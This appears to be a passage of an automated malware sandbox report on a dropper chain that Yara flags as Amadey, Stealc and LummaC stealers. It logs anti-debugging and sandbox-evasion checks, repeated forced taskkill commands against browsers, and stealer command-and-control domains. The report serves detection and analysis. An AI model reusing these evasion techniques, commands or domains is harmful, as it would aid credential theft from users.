Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000014.00000002.2442698783.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C3E000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000002C.00000002.2630021156.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: num.exe, 0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: 8ObkdHP9Hq.exe, 00000000.00000002.1750930432.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1787198522.0000000000F91000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmp, 9d7da53f74.exe, 00000015.00000002.2522896601.0000000001130000.00000040.00000001.01000000.0000000D.sdmp, 9d7da53f74.exe, 0000003C.00000002.2745204557.0000000001130000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: num.exe, 0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9d7da53f74.exe, 0000003C.00000002.2746326471.000000000170B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: num.exe, 00000014.00000002.2442698783.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_04E503D2 Start: 04E504ED End: 04E503BC

5_2_04E503D2

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

Code function: 0_2_051A0DD8 rdtsc

0_2_051A0DD8

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B9EAA2 BlockInput,

6_2_00B9EAA2

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B52622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00B52622

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Code function: 20_2_00B845C0 VirtualProtect ?,00000004,00000100,00000000

20_2_00B845C0

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00B242DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DD652B mov eax, dword ptr fs:[00000030h]	5_2_00DD652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DDA302 mov eax, dword ptr fs:[00000030h]	5_2_00DDA302
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B44CE8 mov eax, dword ptr fs:[00000030h]	6_2_00B44CE8
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B99750 mov eax, dword ptr fs:[00000030h]	20_2_00B99750

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B80B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

6_2_00B80B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B52622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00B52622
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B4083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00B4083F
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B409D5 SetUnhandledExceptionFilter,	6_2_00B409D5
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B40C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00B40C21
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B9AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00B9AD48
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B9CEEA SetUnhandledExceptionFilter,	20_2_00B9CEEA
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B9B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_00B9B33A

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: num.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, type: DROPPED

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T

LummaC encrypted strings found

Source: 9d7da53f74.exe	String found in binary or memory: licendfilteo.site
Source: 9d7da53f74.exe	String found in binary or memory: clearancek.site
Source: 9d7da53f74.exe	String found in binary or memory: bathdoomgaz.stor
Source: 9d7da53f74.exe	String found in binary or memory: spirittunek.stor
Source: 9d7da53f74.exe	String found in binary or memory: dissapoiznw.stor
Source: 9d7da53f74.exe	String found in binary or memory: studennotediw.stor
Source: 9d7da53f74.exe	String found in binary or memory: mobbipenju.stor
Source: 9d7da53f74.exe	String found in binary or memory: eaglepawnoy.stor

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Code function: 20_2_00B99600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

20_2_00B99600

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

6_2_00B81201

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B62BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

6_2_00B62BA5

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B8B226 SendInput,keybd_event,

6_2_00B8B226

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00BA22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

6_2_00BA22DA

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe "C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe "C:\Users\user\AppData\Local\Temp\1000336001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe "C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

6_2_00B80B62

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B81663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_00B81663

Source: 84d280a9e8.exe, 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp, 84d280a9e8.exe, 00000019.00000002.2952681186.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp, 84d280a9e8.exe, 0000004E.00000002.2952378189.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 84d280a9e8.exe	Binary or memory string: Shell_TrayWnd
Source: skotes.exe	Binary or memory string: AProgram Manager
Source: 8ObkdHP9Hq.exe, 00000000.00000002.1750930432.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1787198522.0000000000F91000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: AProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_00DBD3E2 cpuid

5_2_00DBD3E2

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

20_2_00B97B90

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000336001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000336001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_00DBCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_00DBCBEA

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B7D27A GetUserNameW,

6_2_00B7D27A

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B5BB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

6_2_00B5BB6F

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00B242DE

Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.8ObkdHP9Hq.exe.880000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1710668999.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1787122372.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2313808544.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1746151860.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1750861605.0000000000881000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000019.00000002.2953823488.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2951418045.0000000001088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004E.00000002.2953026392.00000000010A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 84d280a9e8.exe PID: 7884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 84d280a9e8.exe PID: 6488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 84d280a9e8.exe PID: 5996, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 20.2.num.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.0.num.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.num.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.num.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
